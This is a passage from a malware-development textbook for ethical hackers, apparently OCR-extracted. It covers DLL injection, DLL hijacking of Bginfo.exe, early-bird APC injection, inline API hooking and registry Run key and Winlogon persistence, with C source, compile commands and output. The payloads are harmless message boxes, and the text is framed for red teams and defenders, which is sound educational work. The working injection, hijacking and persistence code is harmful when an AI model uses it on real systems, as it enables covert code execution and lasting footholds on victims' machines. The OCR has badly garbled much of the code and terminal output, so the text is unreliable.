https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack3.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack3.c

The result of running this command (on a Kali Linux VM) looks like this:

hack3.c -0 hack3.exe

«/../packtpub/Malware-Development-for-Ethical-Hackers/c
haptero2/01-traditional-injection

total 200

rwxr=xr-x 1 cocomelonc cocomelonc 39936 Feb 23 23:3
rwxr-xr-x 1 cocomelonc cocomelonc 1604 Feb 23 23:37 h
-rwxr-xr-x 1 cocomelonc cocomelonc 87123 Feb 23 23:33
-rwxr-xr-x 1 cocomelonc cocomelonc 40448 Feb 23 23:23 hacl

-rwxr-xr-x 1 cocomelonc cocomelonc 3226 Feb 23 23:23 hack

-rwxr-xr-x 1 cocomelonc cocomelonc 15360 Feb 23 23:03 hat

-rwxr-xr-x 1 cocomelonc cocomelonc 2938 Feb 23 2:

-rwxr=xr=x 1 cocomelonc cocomelonc 477 A ug 25 1
Figure 2.18 — Compiling the DLL injection logic — hack3.c

First, let’s launch an instance of mspaint.exe:
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Figure 2.19 — The process ID of mspaint.exe is 2592

Put the DLL file on the victim’s machine:



Figure 2.20 — Putting the evil.dll file on the victim’s machine

Then, run our program:

$.\hack3.exe 2592

The result of running this command (for example, on a Windows 7 x64
VM) looks like this:
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Figure 2.21 — Running our DLL injection script — hack3.exe

To confirm that our DLL has been successfully injected into the

mspaint .exe process, we can use Process Hacker:
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Figure 2.22 — The RWX memory section in the mspaint.exe process

In another section of memory, we can see our message — that is, Meow from
evil.dll!:
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Figure 2.23 — Meow from evil.dll! in the memory of mspaint.exe

Our basic injection logic appears to have worked brilliantly! This is the
simplest method for injecting a DLL into another process, but it is often

sufficient and extremely useful.

Now that we’ve learned how to perform DLL injection, we’ll explore

various hijacking techniques.

Exploring hijacking techniques

Hijacking, a term that instantly conjures images of illicit takeovers and
subversions, finds its place at the core of cyber warfare. More specifically,
DLL hijacking, an art practiced by both malevolent hackers and those
committed to ethical hacking, exposes vulnerabilities in software systems
that can be manipulated to achieve unauthorized access and control. As we
explore this potent technique, we’ll peer into the very mechanics of

hijacking, uncovering its nuances and intricacies.

DLL hijacking

DLL hijacking, also known as a DLL preloading attack, involves placing
malicious code in Windows applications by exploiting the method by which
DLLs are loaded.

How does it work?

IMPORTANT NOTE

This book will only cover Win32 applications. Despite having the same extension, DLLS in
the context of . NET programs have an entirely different meaning, so we will not discuss



them here. We don’t wish to contribute to the confusion.

It is now common knowledge that programs require libraries (also known as
DLLs) to perform a variety of duties. These DLLs are either included in the
application’s distribution bundle or are included with the operating system

on which the application runs.

DLL hijacking, also known as DLL preloading or DLL side-loading, refers
to a security vulnerability in software applications that can lead to malicious
code execution. This vulnerability arises when an application improperly
loads a DLL file that contains code that the application can call upon to

perform certain functions or services.

In a DLL hijacking attack, an attacker exploits the way an application
searches for and loads DLLs. When the application attempts to load a DLL,
it searches for it in a predefined set of directories, including the
application’s working directory and the system’s standard DLL locations. If
an attacker places a malicious DLL with the same name as one that the
application intends to load into one of these directories, the application

might inadvertently load the attacker’s DLL instead of the legitimate one.

The first question that may come to mind at this stage is, “What is the DLL

search order that Windows uses?”

The following figure depicts the default Windows DLL search order:
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Figure 2.24 — DLL search order in Windows
Let’s understand this in detail:

1. First, it examines the directory from which the application was

initiated.

2. Next, it scrutinizes the system directory located at

C:\Windows\System32.
3. Then, it checks the 16-bit system directory at ¢:\Windows\System.
4. After, it investigates the Windows directory at c:\Windows\.
5. Then, it assesses the current working directory.
6. Finally, it explores the directories, as defined by the PATH environment

variable.

Let’s see this in practice.

Practical example

Using Process Monitor (https://learn.microsoft.com/en-

us/sysinternals/downloads/procmon) from Sysinternals with the following

filters is the most typical method for locating missing DLLs on a system:


https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Figure 2.25 — Process Monitor filters for finding missing DLLs

This identifies whether or not the application attempts to set up a DLL and

the actual path where the application is searching for the missing DLL:
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Figure 2.26 — Process Monitor result

In our example, the Bginfo.exe process does not have multiple DLLs.
These DLLs could be used for DLL hijacking tricks — for instance,

Riched32.d11.

Now, check folder permissions:

$ icacls C:\Users\user\Desktop\

You should see the following output on your Windows 7 x64 machine:
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Figure 2.27 — Checking folder permissions

The documentation indicates that we have write access to this folder.

Next, perform a DLL hijacking trick. First, let’s execute Bginfo.exe:
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Figure 2.28 — Running Bginfo.exe

Therefore, if I place a DLL named Riched32.d11 in the same directory as
Bginfo.exe, my malicious code will be executed when that utility is
executed. For convenience, I construct DLLs that only display a message

box:

/*
Malware Development For Ethical Hackers
DLL hijacking example
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.1lib")
BOOL APIENTRY D1lMain(HMODULE
hModule, DWORD wul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) ({
case DLL_PROCESS_ATTACH:
MessageBoxX (
NULL,
"Meow-meow!",
=N, A=",
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

b
return TRUE,

}

Now, we can compile it on the attacker’s computer:

$ x86_64-w64-mingw32-g++ -shared -o evil.dll evil.c -fpermissive



Then, rename the malicious DLL Riched32.d11 and copy it to

C:\Users\user\Desktop:
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Figure 2.29 — “Malicious” Riched32.dll

Now, start Bginfo.exe:



Figure 2.30 — Running bginfo.exe after replacing the legitimate DLL

With that, our evil logic is executed.

However, there is always a caveat. In some instances, the DLL you compile
must export multiple functions for the victim process to execute. If these

functions do not exist, the binary cannot import them, and the exploit fails.

Understanding APC injection



In this section, we’ll embark on a journey that unravels the concept of
asynchronous procedure call (APC) injection, from its basics to advanced
implementation strategies, providing a roadmap to both potential threats

and vigilant defenders.

A practical example of APC injection

In the preceding sections, we discussed traditional code injection and
traditional DLL injection. I will discuss an early bird APC injection
technique in this section. Here, we will examine QueueUserAPC

(https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-

processthreadsapi-queueuserapc), which utilizes an APC to queue a

particular thread.

Every thread has a separate APC queue. The QueueUserAPC function is
invoked by an application to queue an APC to a thread. In the
QueueUserAPC call, the contacting thread specifies the address of an APC
function. APC queuing is a request for the thread to invoke the APC

function.

Initially, our malicious program generates a new legitimate process (such as

Notepad.exe):


https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc

[Te#8 SUspens

payload

gyil.exe notepad exe

Figure 2.31 — Generating a new legit process called notepad.exe

When we encounter a call to createProcess, the first (executable to be
invoked) and sixth (process creation flags) parameters are the most

significant. The status value for creation is CREATE_SUSPENDED.

Subsequently, the process’s memory space is allocated with memory for the

payload:
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Figure 2.32 — Memory allocation via VirtualAllocEx

In C language, allocating memory looks like this:

// Allocate memory for payload
myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

As mentioned previously, an important difference exists between
virtualAlloc and virtualAllocEx. The former operation will assign
memory within the process from which it is called, while the latter
operation will assign memory within a separate process. If the presence of
malware that calls virtualAllocEx is detected, there will probably be an

imminent occurrence of cross-process activity.



In the next step, the APC procedure that designates the shellcode is defined.

Subsequently, the payload is written to the memory that has been allocated:

—

> P
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empty buffer
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Figure 2.33 — The payload is written to the memory of the remote process

Next, the APC is enqueued to the primary thread, which is currently in a

suspended state:
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Figure 2.34 — Queuing the user APC

Now, we can inject it into the suspended thread:

// Inject into the suspended thread.
PTHREAD_START_ROUTINE apcRoutine =

(PTHREAD_START_ROUTINE)myPayloadMem;

QueueUserAPC( (PAPCFUNC)apcRoutine, threadHandle, NULL);

Finally, the thread is resumed and our payload is executed successfully:
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Figure 2.35 — Resuming the thread

We use the following code to do this:

// Resume the suspended thread
ResumeThread(threadHandle);
return 0O;

The full source code for this example can be found at

https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter02/03-apc-injection/hackl.c.

For the sake of simplicity, the payload that was used in this scenario is the
64-bit version of the meow-meow message box. Without exploring the process

of generating the payload, we will directly include the payload in our code.

Let’s compile it:

$ x86_64-w64-mingw32-gcc hackl.c -o hackl.exe -s -ffunction-
sections -fdata-sections -Wno-write-strings -fno-exceptions -
fmerge-all-constants -static-libstdc++ -static-libgcc


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/03-apc-injection/hack1.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/03-apc-injection/hack1.c

The result of running this command (on a Kali Linux VM) looks like this:

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapterd2/03-apc-injection
nackl.c -0 hackl.exe

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapterd2/03-apc-injection

total 24
-rwxr-xr-x 1 cocomelonc cocomelonc 15872 Feb 24 00:05 hackl.exe
-rwxr-xr-x 1 cocomelonc cocomelonc 2859 Feb 24 00:05 hackl.c

rwxr-xr-x 1 cocomelonc cocomelonc 2605 Feb 23 23:59 hack?.c

Figure 2.36 — Compiling hackl.c

Now, let’s execute the hack1.exe file on a Windows 10 x64 operating

system:
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Figure 2.37 — Running hackl.exe

Upon examining the recently initiated notepad. exe file within the Process

Hacker tool, we’ll see that the primary thread is in a suspended state:
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Figure 2.38 — The thread of notepad.exe is suspended

As we can see, the second argument of the waitForsingleobject function
has been set to 30000 for illustrative purposes. However, in practical

applications, this value is typically smaller.



A practical example of APC injection via
NtTestAlert

In the previous example, we discussed the early bird APC injection

approach.

In this example, an additional APC injection approach will be examined and
discussed. The significance lies in the utilization of an undocumented
function known as NtTestAlert. This discussion aims to demonstrate the
execution of shellcode within a local process while using a Win32 API
function called QueueuseraApc and an officially undocumented Native API

known as NtTestAlert.

The NtTestAlert system call is associated with the alerting mechanism of
the Windows operating system. Invoking this system function has the
potential to initiate the execution of any pending APCs associated with the
thread. Before commencing execution at its Win32 start address, a thread

initiates a call to NtTestAlert to perform any pending APCs.

You can find the full source code in this book’s GitHub repository:

https://github.com/PacktPublishing/Malware-Development-for-Ethical-

Hackers/blob/main/chapter02/03-apc-injection/hack?.c.

Mastering APl hooking techniques

In this section, we’ll dive into API hooking techniques and provide practical

examples.

What is APl hooking?


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/03-apc-injection/hack2.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/03-apc-injection/hack2.c

API hooking is a method that’s used to manipulate and alter the
functionality and sequence of API calls. This technique is frequently used
by different antivirus (AV) solutions to identify whether a given piece of

code is malicious.

Practical example
Before hooking Windows API functions, it is essential to consider the
scenario of using an exported function from a DLL.

This section will provide an illustrative instance of this wherein a DLL is

used that contains the logic at https://github.com/PacktPublishing/Malware-

Development-for-Ethical-Hackers/blob/main/chapter02/04-api-

hooking/pet.cpp.

The DLL under consideration exhibits a set of basic exported functions,
including cat, Mouse, Frog, and Bird, each of which accepts a single
parameter denoted as message. The simplicity of this function’s logic is

evident as it merely involves displaying a pop-up message with a title.

Compile it:

$ x86_64-w64-mingw32-gcc -shared -o pet.dll pet.cpp -fpermissive

Here’s the result of running this command:


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/04-api-hooking/pet.cpp
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/04-api-hooking/pet.cpp
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/04-api-hooking/pet.cpp

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapterd2/04-api-hooking
pet.dil pet.cpp

«/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapter@2/04-api-hooking

total 100

rwxr=xr-x 1 cocomelonc cocomelonc 87195 Feb 24 00:28 pet.dll
-rwxr-xr-x 1 cocomelonc cocomelonc 2280 Feb 24 00:28 hackl.c
-rwxr-xr-x 1 cocomelonc cocomelonc 1207 Dec 00:25 pet.cpp

|Il|
-rwxr-xr-x 1 cocomelonc cocomelonc 756 Aug 27 22:5(

Figure 2.39 — Compiling pet.cpp

Subsequently, proceed to generate a rudimentary piece of code to validate
the DLL:

/*
Malware Development for Ethical Hackers
cat.cpp
API hooking example
author: @cocomelonc
*/
#include <windows.h>
typedef int (__cdecl *CatFunction)(LPCTSTR message);
typedef int (__cdecl *BirdFunction)(LPCTSTR message);
int main(void) {
HINSTANCE petDl1;
CatFunction catFunction;
BirdFunction birdFunction;
BOOL unloadResult;
petDll = LoadLibrary("pet.dll");
if (petDll != NULL) {
catFunction = (CatFunction) GetProcAddress(petDll, "Cat");
birdFunction = (BirdFunction) GetProcAddress(petDll,



"Bird");
if ((catFunction != NULL) && (birdFunction != NULL)) {
(catFunction) ("meow-meow");
(catFunction) ("mmmmeow");
(birdFunction) ("tweet-tweet");
}
unloadResult = FreelLibrary(petDll);

3

return 0;

}

Now, compile it:

$ x86_64-w64-mingw32-g++ -02 cat.c -o cat.exe -mconsole -
I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

Finally, run the program on a Windows 10 operating system with a 64-bit

architecture:
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Figure 2.40 — Pop-up “meow-meow” message

Here’s the next pop-up message:
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Figure 2.41 — Pop-up “mmmmeow” message

And here’s the third pop-up message:
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Figure 2.42 — Pop-up “tweet-tweet” message

As you can see, all components function as expected.

In this situation, the cat function will be hooked, although it may be any

function.
So, what technique is being used here? Let’s take a look.

To begin, obtain the memory address of the cat function:

// get memory address of function Cat



hLib = LoadLibraryA("pet.dll");
hookedAddress = GetProcAddress(hLib, "Cat");

Next, it is necessary to preserve the initial 5 bytes of the cat function. These

bytes will be needed later:

// save the first 5 bytes into originalBytes (buffer)
ReadProcessMemory(GetCurrentProcess(), (LPCVOID) hookedAddress,
originalBytes, 5, NULL);

Next, develop a mymMmodifiedCatFunction function that will be invoked upon

calling the original cat function:

// we'll jump here after installing the hook
int __stdcall myModifiedCatFunction(LPCTSTR modifiedMessage) {
HINSTANCE petDll;
OriginalCatFunction originalCatFunc;
// unhook the function: restore the original bytes
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedFunctionAddress, originalBytes, 5, NULL);
// load the original function and modify the message
petDll = LoadLibrary("pet.dll");
originalCatFunc = (OriginalCatFunction)GetProcAddress(petDll,
"Cat");
return (originalCatFunc)("meow-squeak-tweet!!!");

}

Overwrite 5 bytes with a jump to myModifiedCatFunction:

myModifiedFuncAddress = &myModifiedCatFunction;

What does this mean? We perform a write operation to replace 5 bytes of
data with a jump instruction that redirects program execution to the memory

address of the mymodifiedcatFunction function.

Now, create a patch:

// calculate the relative offset for the jump



source = (DWORD)hookedFunctionAddress + 5;
destination = (DWORD)myModifiedFuncAddress;
relativeOffset = (DWORD *)(destination - source);
// \XE9 1is the opcode for a jump instruction
memcpy (patch, "\xE9", 1);

memcpy(patch + 1, &relativeOffset, 4);

At this point, it is necessary to modify our cat function by redirecting it to

myModifiedCatFunction (patching):

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedFunctionAddress, patch, 5, NULL);

What actions have been undertaken in this context? The approach that’s
being referred to is commonly known as the classic 5-byte hook trick. Let’s

disassemble the function:

gxample file format elf32-1386

Disassembly of section .teéxt:

PBRAYR00 < start>:

BO&9000 . 31 C SaN, BAN

o408 : 29 ebp

BOLSRR]: B9 3 ebp , esp
BaaS9es: =1 ) fax

BO4&S006 . gy 92 75 eax, 8= 75927900
A04904h0: i aax

Figure 2.43 — Disassembling the function

The highlighted bytes are a reasonably common prologue found in a variety

of API functions.

By replacing these initial 5 bytes with a jmp instruction, we redirect

execution to our function. We will store the original bytes so that we can



refer to them later if we need to return control to the hooked function.

To do this, we must run the original cat function, set our hook, and run cat

again:

// call the original Cat function
(originalCatFunc) ("meow-meow");
// install the hook
installMyHook();

// call the Cat function after installing the hook
(originalCatFunc) ("meow-meow");

The full source code can be found at
https://github.com/PacktPublishing/Malware-Development-for-Ethical-
Hackers/blob/main/chapter02/04-api-hooking/hack1.c.

Now, compile it:

$ x86_64-w64-mingw32-g++ -02 hackl.c -o hackl.exe -mconsole -
I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

On my Kali Linux machine, it looks like this:


https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/04-api-hooking/hack1.c
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/04-api-hooking/hack1.c

hackl.c hackl,exe

hackl.c: In function ‘void installMyHook()':
hackl.c:48:27: invalid conversion from 'int (#)(LPCTSTR)' {aka 'int
(#)(const char#)'} to 'voids' | '

48 | myMod1fiedFuncAddress =

hackl.c:51:12; cast from 'FARPROC' {aka "long long int (#)()'} to 'D
WORD' {aka 'long unsigned int'} loses precision | |
51 | source = b 5]
|
hackl.c:52:17: cast from ‘voids' to 'DWORD' {aka "long unsigned int’
} loses precision | ]
52 | destination =
|
hackl.c:53:20: cast to pointer from 1nteger of different size
|
53 | relative0ffset =

~/../packtpub/Malware-Development-for-Ethical-Hackers/c
hapter02/04-api-hooking

total 132

-ruxr-xr-% 1 cocomelonc cocomelonc 15360 Feb 24 00:43 hackl.exe
-rwar-xr-x 1 cocomelonc cocomelonc 2278 Feb 24 00:42 hackl
-rwxr-xr-x 1 cocomelonc cocomelonc 14848 Feb 24 00:32 cat.ex




Figure 2.44 — Compiling our example on Kali Linux

Finally, observe how it’s executed on a Windows 7 x64 operating system:
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Figure 2.45 — Executing our example in Windows 7 x64

As you can see, our hook worked perfectly!! cat now goes meow-squeak-

tweet!!! instead of meow-meow.

Summary

In this enthralling chapter on injection techniques, we embarked on a
comprehensive journey that traversed the intricate pathways of classical
malware development challenges. We unraveled the complexities of classic
code injection methods, dissecting the mechanics of virtualAllocEx,

WriteProcessMemory, and CreateRemoteThread.

Through practical C-based examples, we shed light on the nuanced art of
DLL injection and DLL hijacking, where malicious actors exploit

vulnerabilities to gain unauthorized access or change program logic.

Expanding our horizons, we explored the realm of APC injection, where the

ingenious early bird approach challenged conventional paradigms.

Our voyage further extended into the world of DLL hooking as we
navigated the intricate interplay between legitimate and malicious code.
This chapter, a tapestry woven with practical insights and hands-on
experiences, has equipped us with an enriched understanding of injection

techniques and their potential consequences.

In the next chapter, we will uncover various methods of gaining persistence

in a system.



3

Mastering Malware Persistence
Mechanisms

The stealth factor of malware increases significantly by achieving
persistence on the infiltrated system. It allows the malware to continue its
operations even after restarts, logoffs, reboots, etc., following a single
injection/exploit. This chapter focuses solely on Windows due to its wide
array of mechanisms facilitating persistence, such as Autostart. It
encompasses the prevalent techniques for gaining persistence on a Windows

machine, although it does not cover all of them.

In this chapter, we’re going to cover the following main topics:
e Classic path: registry Run Keys
e Leveraging registry keys utilized by Winlogon process
e Implementing DLL search order hijacking for persistence
e Exploiting Windows services for persistence
e Hunting for persistence: exploring non-trivial loopholes

e How to find new persistence tricks

Technical requirements

In this book, I will use the Kali Linux (https://www.kali.org/) and Parrot

Security OS (https://www.parrotsec.org/) virtual machines for development



https://www.kali.org/
https://www.parrotsec.org/

and demonstration and Windows 10 (https://www.microsoft.com/en-

us/software-download/windows10ISO) as the victim’s machine.

The next thing we’ll want to do is set up our development environment in
Kali Linux. We’ll need to make sure we have the necessary tools installed,

such as a text editor, compiler, etc.

I just use NeoVim (https://github.com/neovim/neovim) with syntax

highlighting as a text editor. Neovim is a great choice for a lightweight,
efficient text editor, but you can use another you like, for example, VSCode

(https://code.visualstudio.com/).

As far as compiling our examples, I use MinGW (https://www.mingw-

wb64.org/) for Linux, which is install in my case via command:

$ sudo apt install mingw-*

Classic path: registry Run Keys

The act of including an entry within the Run Keys file located in the registry
will result in the automatic execution of the referred application upon a
user’s login. The execution of these applications will occur within the user’s
context and will be subject to the permissions level associated with the

user’s account.

By default, Windows Systems generate the following run keys:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOn
ce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run


https://www.microsoft.com/en-us/software-download/windows10ISO
https://www.microsoft.com/en-us/software-download/windows10ISO
https://github.com/neovim/neovim
https://code.visualstudio.com/
https://www.mingw-w64.org/
https://www.mingw-w64.org/

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunO
nce

Threat actors have the capability to take advantage of those mentioned
configuration locations as a means to run malware, hence ensuring the
continuity of their presence within a system even after reboot. Threat actors
may employ masquerade techniques to create the illusion that registry

entries are linked to authentic programs.

A simple example

Let us examine a practical illustration. Suppose we encounter a cyber attack

involving malicious software hack.c:

* hack.c
* Malware Development for Ethical Hackers
* "Hello, Packt" messagebox
* author: @cocomelonc
*/
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR 1lpCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Hello, Packt!",6'"=A, . A=", MB_OK);
return 0;

}

Compile it:

$ x86_64-w64-mingw32-g++ -02 hack.c -o hack.exe -
I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive



For example, if your machine is Kali Linux, then the compilation looks like
this:

~[../packtpub/Malware-Development-for-Ethical-H
ackers/chapter03/01-classic-path-registry-run-keys
hack.c -0 hack.exe

~/../packtpub/Malware-Development-for-Ethical-H
ackers/chapter03/01-classic-path-registry-run-keys

total 40

-'Wxr-=xr-=x 1 cocomelonc cocomelonc 14848 Apr 14 11:08 hack.exe
Figure 3.1 — Compile our “malware”

Our malware is just a pop-up messagebox.

NOTE

Since the book is intended for ethical hackers and for the simplicity of practical experiments,
we will use harmless software, despite the fact that it plays the role of malware.
Next, we will proceed to develop a script named pers.c, which will be
responsible for generating registry keys that will trigger the execution of
our malicious software, hack.exe, upon logging into the Windows operating
system:

/ *

* Malware Development for Ethical Hackers

*
pers.c
* Windows low level persistence via start folder registry key



* author: @cocomelonc
*/
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\packtpub\\chapter®i\\@l1l-classic-path-
registry-run-keys\\hack.exe";
// startup
LONG result = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 ,
KEY_WRITE, &hkey);
if (result == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned
char*)exe, strlen(exe));
RegCloseKey(hkey);
}

return 0,

}

As seen from the source code, the logic of this program is the most
straightforward and uncomplicated concept. We simply created a new
registry key. The addition of registry keys to the run keys using the terminal
can be used as a means of achieving persistence. However, as an individual
with a penchant for coding, and because this book is about software
development, I am inclined to demonstrate an alternative approach using a

few lines of code.

Compile persistence script:

$ x86_64-w64-mingw32-g++ -02 pers.c -o hack.exe -
I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

It looks like the following:



~/../packtpub/Malware-Development-for-Ethical-H
ackers/chapter03/01-classic-path-registry-run-keys
pers.c -0 pers.exe

~[../packtpub/Malware-Development-for-Ethical-H
ackers/chapterd3/01-classic-path-registry-run-keys

total 40

rwxr-xr-x 1 cocomelonc cocomelonc 14848 Apr 14 11:12 pers.exe

Figure 3.2 — Compiling our persistence script

So now, check everything in action. Run the persistence script:

PS> .\pers.exe

Log out and log in again:



PS C:\Users\user> reg query
|'I. 5

HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run

OneDrive  REG SZ  "C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDr
1ve.exe /background

Microsoft Edge Update  REG SZ  "C:\Users\user\AppData\lLocal\Microsoft\E
dgeUpdate\1.3.185.29\MicrosoftEdgeUpdateCore . exe"

hack  REG_SZ  Z:\packtpub\chapter®3\@l-classic-path-registry-run-keys\h
ack.exe

PS C:\Users\user> [

o]




Figure 3.3 — Logging out and logging in to the victim’s system

Upon the conclusion of the case, it is recommended to remove or delete the

registry keys:

PS > Remove-ItemProperty -Path

"HKCU :\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "hack"
PS > reg query
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

If your machine is Windows 10, then the result of this operation looks like

this:



PS C:\Users\users reg query
J"I -]

HKE"\"_FCLJF‘.F:EI'JTHUEEF'.'-,Eclf tware\Microsoft\Windows\CurrentVersion\Run

OneDrive  REG SZ  "C:\Users\user\AppData\local\Microsoft\OneDrive\OneDr
ive,exe” /background

Microsoft Edge Update REG SZ  "C:\Users\user\AppData\local\Microsoft\E
dgeUpdate\1.3.185.29\MicrosottEdgeUpdateCore, exe”

hack REG SZ  Z:\packtpub\chapterd3\@l-classic-path-registry-run-keys\h
ack.exe

PS Ci\Users\user> Remove-ItemProperty

PS C:\Users\user> reg query

/S

HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run

OneDrive  REG SZ  "C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDr
ive.exe" /background

Microsoft Edge Update  REG SZ  "C:\Users\user\AppData\lLocal\Microsoft\E
dgeUpdate\1.3.185.29\MicrosoftEdgelpdateCore. axe”

Figure 3.4 — Delete Registry Keys for correctness of experiment

The act of generating registry keys that trigger the execution of a malicious
application upon Windows logon is a longstanding technique commonly
employed in red team methodologies. Different threat actors and well-
known tools, such as Metasploit and Powershell Empire, possess the
capabilities mentioned. Consequently, a proficient blue team specialist

should possess the ability to identify and detect such harmful activities.



Leveraging registry keys utilized by
Winlogon process

The Winlogon process assumes the responsibility of facilitating user logon
and logoff operations, managing system starting, and shutdown procedures,
as well as implementing screen locking functionality. Malicious actors
possess the capability to modify the registry entries utilized by the

Winlogon process in order to establish enduring presence.

To apply this persistence strategy, it is necessary to modify the following

registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit

Nevertheless, the successful implementation of this strategy necessitates the

possession of local administrator privileges.

A practical example

Let’s observe the practical implementation and demonstration. To begin

with, let us develop a harmful application hack.c:

* hack.c
* Malware Development for Ethical Hackers
* "Hello, Packt!" messagebox
* author: @cocomelonc
*/
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,



LPSTR 1pCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Hello, Packt!",6'"=A,.A=", MB_OK);
r